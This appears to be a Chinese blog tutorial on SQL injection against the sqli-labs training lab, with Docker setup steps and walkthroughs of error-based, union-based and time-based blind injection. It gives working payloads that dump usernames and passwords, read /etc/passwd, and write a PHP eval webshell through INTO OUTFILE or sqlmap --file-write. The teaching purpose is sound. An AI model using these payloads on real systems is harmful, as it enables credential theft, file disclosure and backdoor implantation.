SQL注入上

目录

一、SQL基础知识

注入式攻击的根源

经典OR漏洞原理解析

注入之前必须要做三件事情

1.确定web应用程序所使用的技术

2.确定所有可能的输入方式

3.查找可以用于注入的用户输入

注入前的准备及注入漏洞检测

取消友好HTTP错误信息

手工检测SQL注入点

注入的分类

按照注入的网页功能类型分类:

按照注入点值的属性分类

基于从服务器返回的内容

按照注入的程度和顺序

其他业务场景

Mysql的注入知识复习

Sql注入的分类

Sql注入的类型之GET基于报错的SQL注入

实验:Sqli-Lab Less1~4,GET基于报错的SQL注入。

Less1 –基于字符串

less2 -基于数字

less3 基于括号

Less4 基于双引号报错

GET基于报错的SQL注入利用

1.利用order by判断字段数。

2.利用union select联合查询,获取表名。

3.利用union select联合查询,获取字段名。

4、利用union select 联合查询,获取字段值。0x3a是冒号

5、利用select into outfile写一句话木马

6、利用load_file 读敏感文件

利用sqlmap探测

1、探测数据库名

2、探测表名

3、探测字段名

4、探测字段值

 5、读取敏感文件

 设置浏览器bp代理

Sql注入的类型之不再显示错误的盲注

基于时间的盲注

Less-9执行范例:

get基于时间的盲注应用

post基于时间的盲注


一、SQL基础知识

式攻击的根源

程序命令和用户数据(即用户输入)之间没有做到泾渭分明,接受用户输入相关参数未经处理直接带入数据库查询操作。这使得攻击者有机会将程序命令当作用户输入的数据提交给web程序,以发号施令,为所欲为。

注入成功的基础

1、相信用户输入的数据

2、Sql语句的拼接

经典OR漏洞原理解析

万能密码

Phpstudy中的www.wangnengmima.com

输入 ‘ or 1=1 --  发现输入任何密码都可以登录成功

注入之前必须要做三件事情

1.确定web应用程序所使用的技术

注入攻击对应用程序旗标信息关系密切,这些可以通过适当的信息搜集方式获得

为了确定应用程序的一些旗标信息,比如编程语言及版本,数据库库管理系统的类型及版本,服务器中间件的类型及版本,操作系统的类型及版本等信息。攻击者可以考察Web页面的页脚,查看错误页面,检查页面源代码,或者使用诸如Nessus、AWVS、APPSCAN等工具来进行刺探。

2.确定所有可能的输入方式

Web应用的用户输入方式比较多,其中一些用户输入方式是很明显的,如HTML表单:另外,攻击者可以通过隐藏的HTML表单输入、HTTP头部、cookies、甚至对用户不可见的后端AJax请求来跟Web应用进行交互。一般来说,所有HTTP的GET和POST都应当作用户输入。为了找出一个Web 应用所有可能的用户输入,我们可以求助于Web 代理,如Bp等。

3.查找可以用于注入的用户输入

在找出所有用户输入方式后,就要对这些输入方式进行筛选,找出其中可以注入命令的那些输入方式。这个任务好像有点难,但是这里有一个小窍门,那就是多多留意web应用的错误页面.很多时候您能从这里得到意想不到的收获。

注入前的准备及注入漏洞检测

取消友好HTTP错误信息

在进行SQL注入攻击时,需要利用到从服务器返回的各种出错信息,但是在浏览器中默认设置是不显示详细错误返回信息的,不论服务器返回什么错误,都只能看到“HTTP 500服务器错误”的窗口。因此,每次进行 SQL注入攻击测试前,首先要取消IE浏览器返回信息设置,以便查看到注入攻击时返回的数据库信息

这有点low,可以直接f12或者bp抓包分析就可以了

手工检测SQL注入点

最常用的SQL注入点判断方法,是在网站中寻找如下形式的网页连接。

http:// www.*****. com/ ***.asp?id=x (ASP注入)

或者下面的链接

http:// www.*****. com/ ***.php?id=x (php注入).

http:// www.*****. com/ ***.jsp?id=x (jsp注入)

http:// www.*****. com/ ***.aspx?id=x (aspx注入)。

http:// www.*****. com/index.asp?id=8&page=99(注:注入的时候确认是id参数还是page 参数,工具默认只对后面page参数注入,所以要对工具进行配置或者手工调换)。

http:// www.****.com/index/new/id/8伪静态。

http:// www.*****.com/index/new/php-8.html伪静态

其中的“**”可能是数字,也有可能是字符串,分别被称为整数类型数据和字符型数据。如何判断某个网页链接是否存在SQL注入漏洞呢?通常有两种检测方法。。

1.“单引号”法。

第一种检测SQL注入漏洞是否存在的方法是“单引号”法。方法很简单,直接在浏览器地址栏中的网址链接后加上一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在注入漏洞。

2.and 1=1和1=2法,

很多时候检测提交包含引号的链接时,会提示非法字符,或者直接不返回任何信息,但这并不等于不存在SQL注入漏洞。此时可使用经典的“1=1和1=2”法进行检测。方法很简单,就是直接在链接地址后分别加上and 1=1和and 1=2进行提交,如果返回不同的页面,那么说明存在SQL注入漏洞。

3.通过页面返回的报错信息,一般情况下页面报错会显示是什么数据库类型;

注入的分类

按照注入的网页功能类型分类:

  1. 登录注入
  2. cms注入

CMS逻辑:index.php首页展示内容,具有文章列表(链接具有文章id)、articles.php文章详细页,URL中article.php?id=文章id读取id文章。

按照注入点值的属性分类

  1. 数值型
  2. 字符串型

基于从服务器返回的内容

  1. 有回显
  2. 无回显

按照注入的程度和顺序

  1. 一阶注入
  2. 二阶注入

其他业务场景

Update注入

Insert注入

Delete注入

Like注入

Order by注入

宽字节注入

http分割注入

http参数污染

约束的注入

Xx型注入

Mysql的注入知识复习

在Mysql 5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)。

在schemata表中,schema_name字段用来存储数据库名。

在tables表中,table_schema和table_name分别用来存储数据库名和表名。

在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)

user();查看当前Mysql登录用户名

database():查看当前使用Mysql数据库名

version():查看当前Mysql版本

@@version

@@basedir

length() 字符串长度

substring()截取字符串

ord 返回ASCII码值

concat 连接字符串

sleep(4) 睡眠指定描述

group_concat() 查询结果放同一行

limit m,n 从m行开始,到m+n行。

mid()需要截取的字符串

注释:

#

--空格(%20)

/**/

内联注释:/*!SQL语句*只有Mysql可以识别,常用来绕过WAF

例如:select * from articles where id = id

使用内联注释注入:select *from articles where id =-1 /*!union*//*!select*/

1.# 和 -- (有个空格)表示注释,可以使它们后面的语句不被执行。在url中,如果是get请求 (记住是get请求,也就是我们在浏览器中输入的url) ,解释执行的时候,url中#号是用来指导浏览器动作的,对服务器端无用。所以,HTTP请求中不包括#,因此使用#闭合无法注释,会报错;而使用-- (有个空格),在传输过程中空格会被忽略,同样导致无法注释,所以在get请求传参注入时才会使用--+的方式来闭合,因为+会被解释成空格。

2.当然,也可以使用--%20,把空格转换为urlencode编码格式,也不会报错。同理把#变成%23,也不报错。

3.如果是post请求,则可以直接使用#来进行闭合。常见的就是表单注入,如我们在后台登录框中进行注入。

4.为什么--后面必须要有空格,而#后面就不需要?

因为使用--注释时,需要使用空格,才能形成有效的sql语句,而#后面可以有空格,也可以没有,sql就是这么规定的,记住就行了。

因为不加空格,--直接和系统自动生成的单引号连接在了一起,会被认为是一个关键词,无法注释掉系统自动生成的单引号。

Sql注入的分类

根据注入位置数据类型可将SQL注入分为两类:数字型和字符型。

数字型:select * from table where id =用户输入id

字符型:select * from table where id =用户输入id

Sql注入的类型之GET基于报错的SQL注入

通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠/来探测URL中是否存在注入点。

实验:Sqli-Lab Less1~4,GET基于报错的SQL注入。

环境:在虚拟机centos7使用docker搭建靶场

准备一个干净的centos7,先下载docker,并且启动

yum install -y docker

systemctl status docker

搜索一下拉取的sqli-labs镜像

docker search sqli-labs

拉取第一个五星的

docker pull docker.io/acgpiano/sqli-labs

 拉取成功可以使用docker images查看

启动容器 dt是后台运行,-name把这个容器的名字取为sqli-labs,-p端口映射,-rm是停止容器就执行移除操作,最后的是容器的名字

docker run -dt --name sqli-labs -p 8088:80 --rm docker.io/acgpiano/sqli-labs

使用docker ps -a,获取短id,进入容器

docker exec -it e5df06b416cc /bin/bash

 靶场成功搭建,外部浏览器也可以访问,那我们就在外面的浏览器做

Less1 –基于字符串

输入?id=1’

报错信息是

'    '1'' LIMIT 0,1     '

推断sql语句是

select login_name,password from admin where id =' id' ' limit 0,1

select login_name,password from admin where id =' ** '  limit 0,1

验证我们的猜想可以去容器中查看源码,发现和我们的猜想正确

注入?id=1' --+

less2 -基于数字

输入 ?id=1’ 

报错信息是

'    ' LIMIT 0,1     '

推断sql语句是

select login_name,password from admin where id = **  limit 0,1

注入?id=1 --+

less3 基于括号

输入 ?id=1’

报错信息是

'   '1'') LIMIT 0,1    '

推断sql语句是

select login_name,password from admin where id =('id')  limit 0,1

验证

 注入?id=1') --+

或者使用

192.168.175.139:8088/Less-3/?id=1 --%20

Less4 基于双引号报错

输入 ?id=1”或者id=1\

报错消息是:

'    "14"") LIMIT 0,1  '

推断sql语句是

select login_name,password from admin where id =("id")  limit 0,1

 注入?id=1") --+

GET基于报错的SQL注入利用

1.利用order by判断字段数。

以第一关为例

 

2.利用union select联合查询,获取表名。

http://192.168.137.218:8088/Less-1/?id=0' union select 1,2,3 --+

查询出2,3字段

http://192.168.137.218:8088/Less-1/?id=0' union select 1,user(),database() --+

获得用户和数据建库名

还可以看version版本

具体开始探测

http://192.168.137.218:8088/Less-1/?id=0' union select 1,group_concat(table_name),3  from information_schema.tables  where  table_schema=database()  --+

​ 

3.利用union select联合查询,获取字段名。

http://192.168.137.218:8088/Less-1/?id=0' union select 1,group_concat(column_name),3  from information_schema.columns where table_name='users' --+

4、利用union select 联合查询,获取字段值。0x3a是冒号

?id=0' union select 1,group_concat(username,0x3a,password),3 from users --+

5、利用select into outfile写一句话木马

注:写入条件比较苛刻

  1. mysql配置文件secure_file_priv为空
  2. 对网站目录具有写权限

show variables like '%secur%'

 chmod -R 777 html

 开始注入

192.168.175.139:8088/Less-1/?id=-1' union select 1,"<?php eval($_POST['aa']);?>",3 into outfile '/var/www/html/ma.php' --+

​ 正常写入进入后网页没有回显

 写完之后用菜刀工具连接下,不确定可以先回容器看是否写入成功

 写入成功

此为菜刀图片

6、利用load_file 读敏感文件

 192.168.175.139:8088/Less-1/?id=-1' union select 1,2,load_file('/etc/passwd') --+

利用sqlmap探测

实验环境:准备一台kali(kali自带sqlmap)

互相ping通

1、探测数据库名

sqlmap -u "http://192.168.137.218:8088/Less-1/?id=1" --dbs --batch

2、探测表名

sqlmap -u "http://192.168.137.218:8088/Less-1/?id=1" -D security --tables --batch

3、探测字段名

sqlmap -u "http://192.168.137.218:8088/Less-1/?id=1" -D security -T users --columns --batch

4、探测字段值

sqlmap -u "http://192.168.137.218:8088/Less-1/?id=1" -D security -T users -C username,password --dump --batch

 5、读取敏感文件

 sqlmap -u "http://192.168.137.221:8088/Less-1/?id=1" --file-read '/etc/passwd'  --batch

 6、上传一句话木马

先在kali根目录下创建ma.php

 上传一句话木马

sqlmap -u "http://192.168.175.139:8088/Less-1/?id=1" --file-write '/ma.php' --file-dest '/var/www/html/ma1.php' --batch

 可以去容器验证一下是否成功写入

菜刀连接一句话木马(需要修改

 设置浏览器bp代理

浏览器找到设置>搜索代理>设置代理(手动代理,填写kali的ip因为是kali的bp,端口号填写8080)

 

 

Sql注入的类型之不再显示错误的盲注

Blind SQL(盲注)是注入攻击的其中一种,向数据库发送true或false这样的问题,并根据应用程序返回的信息判断结果.这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQL注入存在的代码问题。

演示盲注问题。当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行SQL查询返回的错误信息. Blind SQL (盲注)与常规注入很接近,不同的是数据库返回数据的检索方式.若数据库没有输出数据到web页面,攻击者会询问一些列的 true或 false问题,强制从数据库获取数据。

盲注可以分为基于布尔的盲注和基于时间的盲注

基于时间的盲注

原理及展示

延时注入,用的最多的注入

常用的判断语句:

' and if(1=0,1, sleep(10)) --+       #如果1=0这个表达式为真,那么执行1这个表达式,为假延时十秒

" and if(1=0,1, sleep(10)) --+

) and if(1=0,1, sleep(10)) --+

') and if(1=0,1, sleep(10)) --+

") and if(1=0,1, sleep(10)) --+

利用if(条件,0,1)函数,当条件为真,返回0,1

Sqli-lab 9-10实验 就是基于时间的盲注 

http://192.168.175.139/Less-9/?id=1' and if(1=1,sleep(6),1) --+

在这里是’ and 1=1 为真,延时6秒,假则直接返回(注入点和注入语句基本确定可使用)

Less-9执行范例:

192.168.175.139:8088/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(10),1) --+

当数据库名第一个字母的ascii码等于115时,执行sleep(10)函数等待10秒。 否则没动作.

因为我们这是做练习,本身应该先求数据库名的长度。

tips因为大多数都是没有回显,正常的注入1' union select 1,2,3--+没有明显的回显,所以我们使用时间盲注,可以明显看出成效并且辨别说明有注入点

get基于时间的盲注应用

爆数据库

http://192.168.175.139:8088/Less-9/

?id=1' and if(ascii(substr(database(),1,1))>95,sleep(6),1)%23

利用二分法猜解数据库的每一个数据

二分法以此类推,116时直接返回页面。说明数据库第一个数据的ascii码为115,即为s,后面的数据同理,最后数据库名为‘security’

当然在爆数据库前最好先爆数据库长度

当然实际环境中,很多常用的函数是会被过滤的,需要绕过。

以第九关为例子爆数据库的长度

从数据库长度为1开始尝试

http://192.168.175.139:8088/Less-9/?id=1' and if(length(database())=1,sleep(5),1) --+

 尝试到第八的时候,发现他耗时5秒,证明数据库的长度为8,一般数据库的字符三五十就差不多。

post基于时间的盲注

在存在注入点post提交的参数后加入类似 and if(length(database())>5,sleep(5),null) --+ 如果执行的页面响应时间大于5秒,那么看肯定就存在注入,并且对应的sql语句执行

范例Less-15

发现有注入点 

上bp,用bp抓包,然后在repeater里修改

uname=admin' and if(length(database())>5,sleep(5),null) -- &passwd=admin123456&submit=Submit

如果数据据名称大于5,则等待5秒,可以看到,执行时间大于5秒,说明数据库名称大于5

我们用户名密码输入admin,然后去bp找post包,然后send to repeater,进行改包

 

 然后我们发现数据包的返回时间肉眼可见的变长了,成功

  • 2
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值